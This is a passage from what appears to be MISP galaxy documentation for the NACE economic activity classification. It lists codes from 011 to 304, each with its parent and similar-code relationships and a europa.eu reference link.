- parent-of: misp-galaxy:NACE="9122" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="9130" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="9141" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="9142" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="9200" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="9311" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="9312" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="9313" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="9319" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="9321" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="9329" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="9411" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="9412" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="9420" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="9491" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="9492" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="9499" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="9510" with estimative-language:likelihood-probability="likely"

- parent-of: misp-galaxy:NACE="9521" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="9522" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="9523" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="9524" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="9525" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="9529" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="9531" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="9532" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="9540" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="9610" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="9621" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="9622" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="9623" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="9630" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="9640" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="9691" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="9699" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="9700" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="9810" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="9820" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="9900" with estimative-language:likelihood-probability="likely"

Table 11912. Table References

Links
http://data.europa.eu/ux2/nace2/99

011

The tag is: *misp-galaxy:NACE="011"*

View relationships graph

011 has relationships with:

- similar: misp-galaxy:NACE="012" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="01" with estimative-language:likelihood-probability="likely"

Table 11913. Table References

Links

http://data.europa.eu/ux2/nace2/011

012

The tag is: *misp-galaxy:NACE="012"*

View relationships graph

012 has relationships with:

- child-of: misp-galaxy:NACE="01" with estimative-language:likelihood-probability="likely"

Table 11914. Table References

Links
http://data.europa.eu/ux2/nace2/012

013

The tag is: *misp-galaxy:NACE="013"*

View relationships graph

013 has relationships with:

- child-of: misp-galaxy:NACE="01" with estimative-language:likelihood-probability="likely"

Table 11915. Table References

Links
http://data.europa.eu/ux2/nace2/013

014

The tag is: *misp-galaxy:NACE="014"*

View relationships graph

014 has relationships with:

- similar: misp-galaxy:NACE="016" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="016" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="01" with estimative-language:likelihood-probability="likely"

Table 11916. Table References

Links
http://data.europa.eu/ux2/nace2/014

015

The tag is: *misp-galaxy:NACE="015"*

View relationships graph

015 has relationships with:

- child-of: misp-galaxy:NACE="01" with estimative-language:likelihood-probability="likely"

Table 11917. Table References

Links
http://data.europa.eu/ux2/nace2/015

016

The tag is: *misp-galaxy:NACE="016"*

View relationships graph

016 has relationships with:

- child-of: misp-galaxy:NACE="01" with estimative-language:likelihood-probability="likely"

Table 11918. Table References

Links
http://data.europa.eu/ux2/nace2/016

017

The tag is: *misp-galaxy:NACE="017"*

View relationships graph

017 has relationships with:

- child-of: misp-galaxy:NACE="01" with estimative-language:likelihood-probability="likely"

Table 11919. Table References

Links
http://data.europa.eu/ux2/nace2/017

021

The tag is: *misp-galaxy:NACE="021"*

View relationships graph

021 has relationships with:

- child-of: misp-galaxy:NACE="02" with estimative-language:likelihood-probability="likely"

Table 11920. Table References

Links
http://data.europa.eu/ux2/nace2/021

022

The tag is: *misp-galaxy:NACE="022"*

View relationships graph

022 has relationships with:

- child-of: misp-galaxy:NACE="02" with estimative-language:likelihood-probability="likely"

Table 11921. Table References

Links
http://data.europa.eu/ux2/nace2/022

023

The tag is: *misp-galaxy:NACE="023"*

View relationships graph

023 has relationships with:

- child-of: misp-galaxy:NACE="02" with estimative-language:likelihood-probability="likely"

Table 11922. Table References

Links
http://data.europa.eu/ux2/nace2/023

024

The tag is: *misp-galaxy:NACE="024"*

View relationships graph

024 has relationships with:

- child-of: misp-galaxy:NACE="02" with estimative-language:likelihood-probability="likely"

Table 11923. Table References

Links
http://data.europa.eu/ux2/nace2/024

031

The tag is: *misp-galaxy:NACE="031"*

View relationships graph

031 has relationships with:

- child-of: misp-galaxy:NACE="03" with estimative-language:likelihood-probability="likely"

Table 11924. Table References

Links
http://data.europa.eu/ux2/nace2/031

032

The tag is: *misp-galaxy:NACE="032"*

View relationships graph

032 has relationships with:

- child-of: misp-galaxy:NACE="03" with estimative-language:likelihood-probability="likely"

Table 11925. Table References

Links
http://data.europa.eu/ux2/nace2/032

033

The tag is: *misp-galaxy:NACE="033"*

View relationships graph

033 has relationships with:

- similar: misp-galaxy:NACE="031" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="032" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="032" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="03" with estimative-language:likelihood-probability="likely"

Table 11926. Table References

Links
http://data.europa.eu/ux2/nace2/033

051

The tag is: *misp-galaxy:NACE="051"*

View relationships graph

051 has relationships with:

- similar: misp-galaxy:NACE="431" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="05" with estimative-language:likelihood-probability="likely"

Table 11927. Table References

Links
http://data.europa.eu/ux2/nace2/051

052

The tag is: *misp-galaxy:NACE="052"*

View relationships graph

052 has relationships with:

- similar: misp-galaxy:NACE="431" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="05" with estimative-language:likelihood-probability="likely"

Table 11928. Table References

Links
http://data.europa.eu/ux2/nace2/052

061

The tag is: *misp-galaxy:NACE="061"*

View relationships graph

061 has relationships with:

- child-of: misp-galaxy:NACE="06" with estimative-language:likelihood-probability="likely"

Table 11929. Table References

Links

http://data.europa.eu/ux2/nace2/061

062

The tag is: *misp-galaxy:NACE="062"*

View relationships graph

062 has relationships with:

- child-of: misp-galaxy:NACE="06" with estimative-language:likelihood-probability="likely"

Table 11930. Table References

Links
http://data.europa.eu/ux2/nace2/062

071

The tag is: *misp-galaxy:NACE="071"*

View relationships graph

071 has relationships with:

- similar: misp-galaxy:NACE="431" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="07" with estimative-language:likelihood-probability="likely"

Table 11931. Table References

Links
http://data.europa.eu/ux2/nace2/071

072

The tag is: *misp-galaxy:NACE="072"*

View relationships graph

072 has relationships with:

- similar: misp-galaxy:NACE="431" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="07" with estimative-language:likelihood-probability="likely"

Table 11932. Table References

Links
http://data.europa.eu/ux2/nace2/072

081

The tag is: *misp-galaxy:NACE="081"*

View relationships graph

081 has relationships with:

- similar: misp-galaxy:NACE="431" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="08" with estimative-language:likelihood-probability="likely"

Table 11933. Table References

Links
http://data.europa.eu/ux2/nace2/081

089

The tag is: *misp-galaxy:NACE="089"*

View relationships graph

089 has relationships with:

- similar: misp-galaxy:NACE="431" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="08" with estimative-language:likelihood-probability="likely"

Table 11934. Table References

Links
http://data.europa.eu/ux2/nace2/089

091

The tag is: *misp-galaxy:NACE="091"*

View relationships graph

091 has relationships with:

- child-of: misp-galaxy:NACE="09" with estimative-language:likelihood-probability="likely"

Table 11935. Table References

Links
http://data.europa.eu/ux2/nace2/091

099

The tag is: *misp-galaxy:NACE="099"*

View relationships graph

099 has relationships with:

- child-of: misp-galaxy:NACE="09" with estimative-language:likelihood-probability="likely"

Table 11936. Table References

Links
http://data.europa.eu/ux2/nace2/099

101

The tag is: *misp-galaxy:NACE="101"*

View relationships graph

101 has relationships with:

- child-of: misp-galaxy:NACE="10" with estimative-language:likelihood-probability="likely"

Table 11937. Table References

Links
http://data.europa.eu/ux2/nace2/101

102

The tag is: *misp-galaxy:NACE="102"*

View relationships graph

102 has relationships with:

- child-of: misp-galaxy:NACE="10" with estimative-language:likelihood-probability="likely"

Table 11938. Table References

Links
http://data.europa.eu/ux2/nace2/102

103

The tag is: *misp-galaxy:NACE="103"*

View relationships graph

103 has relationships with:

- child-of: misp-galaxy:NACE="10" with estimative-language:likelihood-probability="likely"

Table 11939. Table References

Links
http://data.europa.eu/ux2/nace2/103

104

The tag is: *misp-galaxy:NACE="104"*

View relationships graph

104 has relationships with:

- child-of: misp-galaxy:NACE="10" with estimative-language:likelihood-probability="likely"

Table 11940. Table References

Links
http://data.europa.eu/ux2/nace2/104

105

The tag is: *misp-galaxy:NACE="105"*

View relationships graph

105 has relationships with:

- child-of: misp-galaxy:NACE="10" with estimative-language:likelihood-probability="likely"

Table 11941. Table References

Links
http://data.europa.eu/ux2/nace2/105

106

The tag is: *misp-galaxy:NACE="106"*

View relationships graph

106 has relationships with:

- similar: misp-galaxy:NACE="108" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="10" with estimative-language:likelihood-probability="likely"

Table 11942. Table References

Links
http://data.europa.eu/ux2/nace2/106

107

The tag is: *misp-galaxy:NACE="107"*

View relationships graph

107 has relationships with:

- similar: misp-galaxy:NACE="108" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="10" with estimative-language:likelihood-probability="likely"

Table 11943. Table References

Links
http://data.europa.eu/ux2/nace2/107

108

The tag is: *misp-galaxy:NACE="108"*

View relationships graph

108 has relationships with:

- child-of: misp-galaxy:NACE="10" with estimative-language:likelihood-probability="likely"

Table 11944. Table References

Links
http://data.europa.eu/ux2/nace2/108

109

The tag is: *misp-galaxy:NACE="109"*

View relationships graph

109 has relationships with:

- child-of: misp-galaxy:NACE="10" with estimative-language:likelihood-probability="likely"

Table 11945. Table References

Links

http://data.europa.eu/ux2/nace2/109

110

The tag is: *misp-galaxy:NACE="110"*

View relationships graph

110 has relationships with:

- child-of: misp-galaxy:NACE="11" with estimative-language:likelihood-probability="likely"

Table 11946. Table References

Links
http://data.europa.eu/ux2/nace2/110

120

The tag is: *misp-galaxy:NACE="120"*

View relationships graph

120 has relationships with:

- child-of: misp-galaxy:NACE="12" with estimative-language:likelihood-probability="likely"

Table 11947. Table References

Links
http://data.europa.eu/ux2/nace2/120

131

The tag is: *misp-galaxy:NACE="131"*

View relationships graph

131 has relationships with:

- child-of: misp-galaxy:NACE="13" with estimative-language:likelihood-probability="likely"

Table 11948. Table References

Links
http://data.europa.eu/ux2/nace2/131

132

The tag is: *misp-galaxy:NACE="132"*

View relationships graph

132 has relationships with:

- child-of: misp-galaxy:NACE="13" with estimative-language:likelihood-probability="likely"

Table 11949. Table References

Links
http://data.europa.eu/ux2/nace2/132

133

The tag is: *misp-galaxy:NACE="133"*

View relationships graph

133 has relationships with:

- similar: misp-galaxy:NACE="181" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="13" with estimative-language:likelihood-probability="likely"

Table 11950. Table References

Links
http://data.europa.eu/ux2/nace2/133

139

The tag is: *misp-galaxy:NACE="139"*

View relationships graph

139 has relationships with:

- similar: misp-galaxy:NACE="132" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="13" with estimative-language:likelihood-probability="likely"

Table 11951. Table References

Links
http://data.europa.eu/ux2/nace2/139

141

The tag is: *misp-galaxy:NACE="141"*

View relationships graph

141 has relationships with:

- similar: misp-galaxy:NACE="132" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="14" with estimative-language:likelihood-probability="likely"

Table 11952. Table References

Links
http://data.europa.eu/ux2/nace2/141

142

The tag is: *misp-galaxy:NACE="142"*

View relationships graph

142 has relationships with:

- similar: misp-galaxy:NACE="141" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="14" with estimative-language:likelihood-probability="likely"

Table 11953. Table References

Links
http://data.europa.eu/ux2/nace2/142

151

The tag is: *misp-galaxy:NACE="151"*

View relationships graph

151 has relationships with:

- child-of: misp-galaxy:NACE="15" with estimative-language:likelihood-probability="likely"

Table 11954. Table References

Links
http://data.europa.eu/ux2/nace2/151

152

The tag is: *misp-galaxy:NACE="152"*

View relationships graph

152 has relationships with:

- similar: misp-galaxy:NACE="162" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="221" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="222" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="15" with estimative-language:likelihood-probability="likely"

Table 11955. Table References

Links
http://data.europa.eu/ux2/nace2/152

161

The tag is: *misp-galaxy:NACE="161"*

View relationships graph

161 has relationships with:

- child-of: misp-galaxy:NACE="16" with estimative-language:likelihood-probability="likely"

Table 11956. Table References

Links
http://data.europa.eu/ux2/nace2/161

162

The tag is: *misp-galaxy:NACE="162"*

View relationships graph

162 has relationships with:

- child-of: misp-galaxy:NACE="16" with estimative-language:likelihood-probability="likely"

Table 11957. Table References

Links
http://data.europa.eu/ux2/nace2/162

171

The tag is: *misp-galaxy:NACE="171"*

View relationships graph

171 has relationships with:

- child-of: misp-galaxy:NACE="17" with estimative-language:likelihood-probability="likely"

Table 11958. Table References

Links
http://data.europa.eu/ux2/nace2/171

172

The tag is: *misp-galaxy:NACE="172"*

View relationships graph

172 has relationships with:

- child-of: misp-galaxy:NACE="17" with estimative-language:likelihood-probability="likely"

Table 11959. Table References

Links
http://data.europa.eu/ux2/nace2/172

181

The tag is: *misp-galaxy:NACE="181"*

View relationships graph

181 has relationships with:

- similar: misp-galaxy:NACE="742" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="821" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="18" with estimative-language:likelihood-probability="likely"

Table 11960. Table References

Links
http://data.europa.eu/ux2/nace2/181

182

The tag is: *misp-galaxy:NACE="182"*

View relationships graph

182 has relationships with:

- child-of: misp-galaxy:NACE="18" with estimative-language:likelihood-probability="likely"

Table 11961. Table References

Links
http://data.europa.eu/ux2/nace2/182

191

The tag is: *misp-galaxy:NACE="191"*

View relationships graph

191 has relationships with:

- child-of: misp-galaxy:NACE="19" with estimative-language:likelihood-probability="likely"

Table 11962. Table References

Links
http://data.europa.eu/ux2/nace2/191

192

The tag is: *misp-galaxy:NACE="192"*

View relationships graph

192 has relationships with:

- child-of: misp-galaxy:NACE="19" with estimative-language:likelihood-probability="likely"

Table 11963. Table References

Links
http://data.europa.eu/ux2/nace2/192

201

The tag is: *misp-galaxy:NACE="201"*

View relationships graph

201 has relationships with:

- similar: misp-galaxy:NACE="383" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="20" with estimative-language:likelihood-probability="likely"

Table 11964. Table References

Links
http://data.europa.eu/ux2/nace2/201

202

The tag is: *misp-galaxy:NACE="202"*

View relationships graph

202 has relationships with:

- child-of: misp-galaxy:NACE="20" with estimative-language:likelihood-probability="likely"

Table 11965. Table References

Links
http://data.europa.eu/ux2/nace2/202

203

The tag is: *misp-galaxy:NACE="203"*

View relationships graph

203 has relationships with:

- child-of: misp-galaxy:NACE="20" with estimative-language:likelihood-probability="likely"

Table 11966. Table References

Links
http://data.europa.eu/ux2/nace2/203

204

The tag is: *misp-galaxy:NACE="204"*

View relationships graph

204 has relationships with:

- child-of: misp-galaxy:NACE="20" with estimative-language:likelihood-probability="likely"

Table 11967. Table References

Links
http://data.europa.eu/ux2/nace2/204

205

The tag is: *misp-galaxy:NACE="205"*

View relationships graph

205 has relationships with:

- similar: misp-galaxy:NACE="201" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="20" with estimative-language:likelihood-probability="likely"

Table 11968. Table References

Links
http://data.europa.eu/ux2/nace2/205

206

The tag is: *misp-galaxy:NACE="206"*

View relationships graph

206 has relationships with:

- child-of: misp-galaxy:NACE="20" with estimative-language:likelihood-probability="likely"

Table 11969. Table References

Links
http://data.europa.eu/ux2/nace2/206

211

The tag is: *misp-galaxy:NACE="211"*

View relationships graph

211 has relationships with:

- child-of: misp-galaxy:NACE="21" with estimative-language:likelihood-probability="likely"

Table 11970. Table References

Links

http://data.europa.eu/ux2/nace2/211

212

The tag is: *misp-galaxy:NACE="212"*

View relationships graph

212 has relationships with:

- child-of: misp-galaxy:NACE="21" with estimative-language:likelihood-probability="likely"

Table 11971. Table References

Links
http://data.europa.eu/ux2/nace2/212

221

The tag is: *misp-galaxy:NACE="221"*

View relationships graph

221 has relationships with:

- child-of: misp-galaxy:NACE="22" with estimative-language:likelihood-probability="likely"

Table 11972. Table References

Links
http://data.europa.eu/ux2/nace2/221

222

The tag is: *misp-galaxy:NACE="222"*

View relationships graph

222 has relationships with:

- child-of: misp-galaxy:NACE="22" with estimative-language:likelihood-probability="likely"

Table 11973. Table References

Links
http://data.europa.eu/ux2/nace2/222

231

The tag is: *misp-galaxy:NACE="231"*

View relationships graph

231 has relationships with:

- child-of: misp-galaxy:NACE="23" with estimative-language:likelihood-probability="likely"

Table 11974. Table References

Links
http://data.europa.eu/ux2/nace2/231

232

The tag is: *misp-galaxy:NACE="232"*

View relationships graph

232 has relationships with:

- child-of: misp-galaxy:NACE="23" with estimative-language:likelihood-probability="likely"

Table 11975. Table References

Links
http://data.europa.eu/ux2/nace2/232

233

The tag is: *misp-galaxy:NACE="233"*

View relationships graph

233 has relationships with:

- child-of: misp-galaxy:NACE="23" with estimative-language:likelihood-probability="likely"

Table 11976. Table References

Links
http://data.europa.eu/ux2/nace2/233

234

The tag is: *misp-galaxy:NACE="234"*

View relationships graph

234 has relationships with:

- child-of: misp-galaxy:NACE="23" with estimative-language:likelihood-probability="likely"

Table 11977. Table References

Links
http://data.europa.eu/ux2/nace2/234

235

The tag is: *misp-galaxy:NACE="235"*

View relationships graph

235 has relationships with:

- child-of: misp-galaxy:NACE="23" with estimative-language:likelihood-probability="likely"

Table 11978. Table References

Links
http://data.europa.eu/ux2/nace2/235

236

The tag is: *misp-galaxy:NACE="236"*

View relationships graph

236 has relationships with:

- similar: misp-galaxy:NACE="222" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="23" with estimative-language:likelihood-probability="likely"

Table 11979. Table References

Links
http://data.europa.eu/ux2/nace2/236

237

The tag is: *misp-galaxy:NACE="237"*

View relationships graph

237 has relationships with:

- child-of: misp-galaxy:NACE="23" with estimative-language:likelihood-probability="likely"

Table 11980. Table References

Links
http://data.europa.eu/ux2/nace2/237

239

The tag is: *misp-galaxy:NACE="239"*

View relationships graph

239 has relationships with:

- similar: misp-galaxy:NACE="132" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="23" with estimative-language:likelihood-probability="likely"

Table 11981. Table References

Links
http://data.europa.eu/ux2/nace2/239

241

The tag is: *misp-galaxy:NACE="241"*

View relationships graph

241 has relationships with:

- child-of: misp-galaxy:NACE="24" with estimative-language:likelihood-probability="likely"

Table 11982. Table References

Links
http://data.europa.eu/ux2/nace2/241

242

The tag is: *misp-galaxy:NACE="242"*

View relationships graph

242 has relationships with:

- child-of: misp-galaxy:NACE="24" with estimative-language:likelihood-probability="likely"

Table 11983. Table References

Links

http://data.europa.eu/ux2/nace2/242

243

The tag is: *misp-galaxy:NACE="243"*

View relationships graph

243 has relationships with:

- child-of: misp-galaxy:NACE="24" with estimative-language:likelihood-probability="likely"

Table 11984. Table References

Links
http://data.europa.eu/ux2/nace2/243

244

The tag is: *misp-galaxy:NACE="244"*

View relationships graph

244 has relationships with:

- child-of: misp-galaxy:NACE="24" with estimative-language:likelihood-probability="likely"

Table 11985. Table References

Links
http://data.europa.eu/ux2/nace2/244

245

The tag is: *misp-galaxy:NACE="245"*

View relationships graph

245 has relationships with:

- child-of: misp-galaxy:NACE="24" with estimative-language:likelihood-probability="likely"

Table 11986. Table References

Links
http://data.europa.eu/ux2/nace2/245

251

The tag is: *misp-galaxy:NACE="251"*

View relationships graph

251 has relationships with:

- child-of: misp-galaxy:NACE="25" with estimative-language:likelihood-probability="likely"

Table 11987. Table References

Links
http://data.europa.eu/ux2/nace2/251

252

The tag is: *misp-galaxy:NACE="252"*

View relationships graph

252 has relationships with:

- similar: misp-galaxy:NACE="253" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="25" with estimative-language:likelihood-probability="likely"

Table 11988. Table References

Links
http://data.europa.eu/ux2/nace2/252

253

The tag is: *misp-galaxy:NACE="253"*

View relationships graph

253 has relationships with:

- similar: misp-galaxy:NACE="254" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="25" with estimative-language:likelihood-probability="likely"

Table 11989. Table References

Links
http://data.europa.eu/ux2/nace2/253

254

The tag is: *misp-galaxy:NACE="254"*

View relationships graph

254 has relationships with:

- similar: misp-galaxy:NACE="255" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="25" with estimative-language:likelihood-probability="likely"

Table 11990. Table References

Links
http://data.europa.eu/ux2/nace2/254

255

The tag is: *misp-galaxy:NACE="255"*

View relationships graph

255 has relationships with:

- similar: misp-galaxy:NACE="256" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="25" with estimative-language:likelihood-probability="likely"

Table 11991. Table References

Links
http://data.europa.eu/ux2/nace2/255

256

The tag is: *misp-galaxy:NACE="256"*

View relationships graph

256 has relationships with:

- similar: misp-galaxy:NACE="256" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="25" with estimative-language:likelihood-probability="likely"

Table 11992. Table References

Links
http://data.europa.eu/ux2/nace2/256

259

The tag is: *misp-galaxy:NACE="259"*

View relationships graph

259 has relationships with:

- child-of: misp-galaxy:NACE="25" with estimative-language:likelihood-probability="likely"

Table 11993. Table References

Links
http://data.europa.eu/ux2/nace2/259

261

The tag is: *misp-galaxy:NACE="261"*

View relationships graph

261 has relationships with:

- child-of: misp-galaxy:NACE="26" with estimative-language:likelihood-probability="likely"

Table 11994. Table References

Links
http://data.europa.eu/ux2/nace2/261

262

The tag is: *misp-galaxy:NACE="262"*

View relationships graph

262 has relationships with:

- similar: misp-galaxy:NACE="282" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="26" with estimative-language:likelihood-probability="likely"

Table 11995. Table References

Links
http://data.europa.eu/ux2/nace2/262

263

The tag is: *misp-galaxy:NACE="263"*

View relationships graph

263 has relationships with:

- child-of: misp-galaxy:NACE="26" with estimative-language:likelihood-probability="likely"

Table 11996. Table References

Links
http://data.europa.eu/ux2/nace2/263

264

The tag is: *misp-galaxy:NACE="264"*

View relationships graph

264 has relationships with:

- child-of: misp-galaxy:NACE="26" with estimative-language:likelihood-probability="likely"

Table 11997. Table References

Links
http://data.europa.eu/ux2/nace2/264

265

The tag is: *misp-galaxy:NACE="265"*

View relationships graph

265 has relationships with:

- similar: misp-galaxy:NACE="263" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="26" with estimative-language:likelihood-probability="likely"

Table 11998. Table References

Links
http://data.europa.eu/ux2/nace2/265

266

The tag is: *misp-galaxy:NACE="266"*

View relationships graph

266 has relationships with:

- similar: misp-galaxy:NACE="325" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="26" with estimative-language:likelihood-probability="likely"

Table 11999. Table References

Links
http://data.europa.eu/ux2/nace2/266

267

The tag is: *misp-galaxy:NACE="267"*

View relationships graph

267 has relationships with:

- similar: misp-galaxy:NACE="325" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="26" with estimative-language:likelihood-probability="likely"

Table 12000. Table References

Links
http://data.europa.eu/ux2/nace2/267

271

The tag is: *misp-galaxy:NACE="271"*

View relationships graph

271 has relationships with:

- similar: misp-galaxy:NACE="279" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="27" with estimative-language:likelihood-probability="likely"

Table 12001. Table References

Links
http://data.europa.eu/ux2/nace2/271

272

The tag is: *misp-galaxy:NACE="272"*

View relationships graph

272 has relationships with:

- child-of: misp-galaxy:NACE="27" with estimative-language:likelihood-probability="likely"

Table 12002. Table References

Links
http://data.europa.eu/ux2/nace2/272

273

The tag is: *misp-galaxy:NACE="273"*

View relationships graph

273 has relationships with:

- similar: misp-galaxy:NACE="261" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="27" with estimative-language:likelihood-probability="likely"

Table 12003. Table References

Links
http://data.europa.eu/ux2/nace2/273

274

The tag is: *misp-galaxy:NACE="274"*

View relationships graph

274 has relationships with:

- child-of: misp-galaxy:NACE="27" with estimative-language:likelihood-probability="likely"

Table 12004. Table References

Links
http://data.europa.eu/ux2/nace2/274

275

The tag is: *misp-galaxy:NACE="275"*

View relationships graph

275 has relationships with:

- child-of: misp-galaxy:NACE="27" with estimative-language:likelihood-probability="likely"

Table 12005. Table References

Links

http://data.europa.eu/ux2/nace2/275

279

The tag is: *misp-galaxy:NACE="279"*

View relationships graph

279 has relationships with:

- similar: misp-galaxy:NACE="284" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="27" with estimative-language:likelihood-probability="likely"

Table 12006. Table References

Links
http://data.europa.eu/ux2/nace2/279

281

The tag is: *misp-galaxy:NACE="281"*

View relationships graph

281 has relationships with:

- child-of: misp-galaxy:NACE="28" with estimative-language:likelihood-probability="likely"

Table 12007. Table References

Links
http://data.europa.eu/ux2/nace2/281

282

The tag is: *misp-galaxy:NACE="282"*

View relationships graph

282 has relationships with:

- child-of: misp-galaxy:NACE="28" with estimative-language:likelihood-probability="likely"

Table 12008. Table References

Links
http://data.europa.eu/ux2/nace2/282

283

The tag is: *misp-galaxy:NACE="283"*

View relationships graph

283 has relationships with:

- similar: misp-galaxy:NACE="289" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="28" with estimative-language:likelihood-probability="likely"

Table 12009. Table References

Links
http://data.europa.eu/ux2/nace2/283

284

The tag is: *misp-galaxy:NACE="284"*

View relationships graph

284 has relationships with:

- child-of: misp-galaxy:NACE="28" with estimative-language:likelihood-probability="likely"

Table 12010. Table References

Links
http://data.europa.eu/ux2/nace2/284

289

The tag is: *misp-galaxy:NACE="289"*

View relationships graph

289 has relationships with:

- child-of: misp-galaxy:NACE="28" with estimative-language:likelihood-probability="likely"

Table 12011. Table References

Links
http://data.europa.eu/ux2/nace2/289

291

The tag is: *misp-galaxy:NACE="291"*

View relationships graph

291 has relationships with:

- similar: misp-galaxy:NACE="271" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="29" with estimative-language:likelihood-probability="likely"

Table 12012. Table References

Links
http://data.europa.eu/ux2/nace2/291

292

The tag is: *misp-galaxy:NACE="292"*

View relationships graph

292 has relationships with:

- child-of: misp-galaxy:NACE="29" with estimative-language:likelihood-probability="likely"

Table 12013. Table References

Links
http://data.europa.eu/ux2/nace2/292

293

The tag is: *misp-galaxy:NACE="293"*

View relationships graph

293 has relationships with:

- similar: misp-galaxy:NACE="231" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="279" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="281" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="282" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="29" with estimative-language:likelihood-probability="likely"

Table 12014. Table References

Links
http://data.europa.eu/ux2/nace2/293

301

The tag is: *misp-galaxy:NACE="301"*

View relationships graph

301 has relationships with:

- child-of: misp-galaxy:NACE="30" with estimative-language:likelihood-probability="likely"

Table 12015. Table References

Links
http://data.europa.eu/ux2/nace2/301

302

The tag is: *misp-galaxy:NACE="302"*

View relationships graph

302 has relationships with:

- child-of: misp-galaxy:NACE="30" with estimative-language:likelihood-probability="likely"

Table 12016. Table References

Links
http://data.europa.eu/ux2/nace2/302

303

The tag is: *misp-galaxy:NACE="303"*

View relationships graph

303 has relationships with:

- child-of: misp-galaxy:NACE="30" with estimative-language:likelihood-probability="likely"

Table 12017. Table References

Links
http://data.europa.eu/ux2/nace2/303

304

The tag is: *misp-galaxy:NACE="304"*

View relationships graph

304 has relationships with:

- child-of: misp-galaxy:NACE="30" with estimative-language:likelihood-probability="likely"

